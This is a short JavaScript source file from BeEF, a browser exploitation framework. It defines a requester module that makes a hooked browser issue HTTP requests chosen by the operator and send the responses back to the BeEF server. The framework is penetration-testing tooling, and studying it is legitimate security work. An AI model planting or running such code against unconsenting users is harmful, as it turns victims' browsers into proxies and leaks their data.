git-svn-id: https://beef.googlecode.com/svn/trunk@1027 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
30 lines
1.2 KiB
JavaScript
30 lines
1.2 KiB
JavaScript
/*!
|
|
* @literal object: beef.net.requester
|
|
*
|
|
* request object structure:
|
|
* + method: {String} HTTP method to use (GET or POST).
|
|
* + host: {String} hostname
|
|
* + query_string: {String} The query string is a part of the URL which is passed to the program.
|
|
* + uri: {String} The URI syntax consists of a URI scheme name.
|
|
* + headers: {Array} contain the operating parameters of the HTTP request.
|
|
*/
|
|
beef.net.requester = {
|
|
|
|
handler: "requester",
|
|
|
|
send: function(requests_array) {
|
|
for (i in requests_array) {
|
|
request = requests_array[i];
|
|
beef.net.proxyrequest('http', request.method, request.host, request.port,
|
|
request.uri, null, null, 10, null, request.id,
|
|
function(res, requestid) { beef.net.send('/requester', requestid, {
|
|
response_data:res.response_body,
|
|
response_status_code: res.status_code,
|
|
response_status_text: res.status_text});
|
|
}
|
|
);
|
|
}
|
|
}
|
|
};
|
|
|
|
beef.regCmp('beef.net.requester'); |